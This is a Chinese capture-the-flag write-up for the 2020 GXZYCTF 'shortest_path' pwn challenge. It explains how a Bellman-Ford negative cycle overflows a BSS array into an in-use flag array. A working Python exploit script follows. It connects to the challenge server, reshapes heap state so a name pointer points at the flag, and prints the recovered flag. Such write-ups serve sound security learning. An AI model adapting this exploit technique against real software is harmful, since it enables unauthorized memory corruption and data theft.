0%

2020 GXZYCTF shotest_path

发表于 更新于 分类于 ，
本文字数： 1.3k 阅读时长 ≈ 1 分钟

最短路径算法的题目，

应该是实现了Bellman_Ford算法，在Query a route功能查找最短路径时，当变量v5=200时，.BSS段上的NextJump数组溢出到Inuse数组的第一个，即&NextJump[200]=&Inuse[0]，往Inuse[0]写一个地址，可改变第一个Station的inuse状态。
当存在负值的环时，会一直执行for循环，直到遍历某个节点的次数大于总节点数时，即n*(n-1)次，当负值环的节点个数n>=15时，可以达到遍历200次以上，从而触发上述漏洞。提前伪造好ptr[0]使其name_ptr指向flag地址即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from Fish import *
#flag{SPFA_1s_4_9o0d_A1gorithm}
get_shell('Shortest_path:121.37.181.246:19008' , '2.27' , 64)#nc 121.37.181.246 19008

def add(SID , SPrice , SName , table):
    ru('options ---> ')
    sl(1)
    ru('Station ID: ')
    sl(SID)
    ru('Station Price: ')
    sl(SPrice)
    ru('Station Name Length: ')
    sl(len(SName))
    ru('Station Name: \n')
    sl(SName)
    ru('Number of connected station: ')
    sl(len(table))
    for i in range(len(table)):
        ru('station ID: ')
        sl(table[i][0])
        ru('distance: ')
        sl(table[i][1])

def free(SID):
    ru('options ---> ')
    sl(2)
    ru('Station ID: ')
    sl(SID)

def queryStation(SID):
    ru('options ---> ')
    sl(3)
    ru('Station ID: ')
    sl(SID)

def queryRoute(SID1 , SID2):
    ru('options ---> ')
    sl(4)
    ru('Source Station ID: ')
    sl(SID1)
    ru('Target Station ID: ')
    sl(SID2)

flag_addr = 0x6068E0

add(0,100,'a'*0x20,[(17,2)])
add(1,200,'b'*0x20,[(2,-3)])
free(0)
free(1)
add(17,10,p64(17)+p64(0x6068e0),[(0,10)])

for i in range(2,16):
    add(i , 200 , 'Node' + str(i) , [(i+1,-2)])
add(16 , 600 , 'Node16' , [(2,-7)])

queryRoute(2,4)
queryStation(0)

active()